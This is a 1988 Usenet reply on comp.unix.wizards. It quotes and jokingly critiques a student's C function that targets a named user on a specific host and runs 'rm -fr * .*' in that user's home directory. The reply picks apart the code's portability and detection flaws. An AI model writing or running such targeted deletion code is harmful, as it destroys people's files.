Path: utzoo!attcan!uunet!husc6!mailrus!ames!vsi1!daver!mips!sultra!dtynan From: dtynan@sultra.UUCP (Der Tynan) Newsgroups: comp.unix.wizards Subject: Re: none. Message-ID: <2674@sultra.UUCP> Date: 22 Nov 88 03:29:48 GMT References: <9784@watdragon.waterloo.edu> Organization: Tynan Computers, Sunnyvale, CA Lines: 44 In article <9784@watdragon.waterloo.edu>, tcjones@watdragon.waterloo.edu (Terry Jones) writes: > Here's a handy-dandy little function that I just whipped up. Took me about > 4 or 5 hours to get the bugs out, but I'm just a college student :-) Hate to tell you this, but you need another 4 or 5 hours :-) > void > get_John_F_Haugh_II() > { > struct passwd *pwd = getpwnam("jfh"); > char host[1024]; First, how do you know he'll run it as 'jfh'. You should check uid's. > if (pwd == NULL) return; > if (gethostname(host, sizeof(host)) == -1) return; ^^^^^^^^^^^ Hmmm. Isn't that a BSD system call?? > if (strcmp(host, "rpp386")) return; ^^^^^^ My guess is, rpp386 is a '386 machine, probably running XEN*X or Microport UN*X. In which case, the above system call fails to link. Tough luck. > if (chdir(pwd->pw_dir) == -1) return; > if (fprintf(stderr, "Goodbye John...\n") == EOF) return; Don't forget that the 'stderr' channel is usually unbuffered. If *I* saw that message appear, I'd *very quickly* hit ^C, a few dozen times... > system("rm -fr * .*"); > return; > } It probably wouldn't get very far. Oh well. Seeing as you're a college student, I'm thinking about sending this program (?) to your Prof., so he can grade you on it. Personally, I'd give you a C+ (No, not C++ :-). Mainly for effort :-) - Der -- dtynan@zorba.Tynan.COM (Dermot Tynan @ Tynan Computers) {apple,mips,pyramid,uunet}!Tynan.COM!dtynan --- If the Law is for the People, then why do we need Lawyers? ---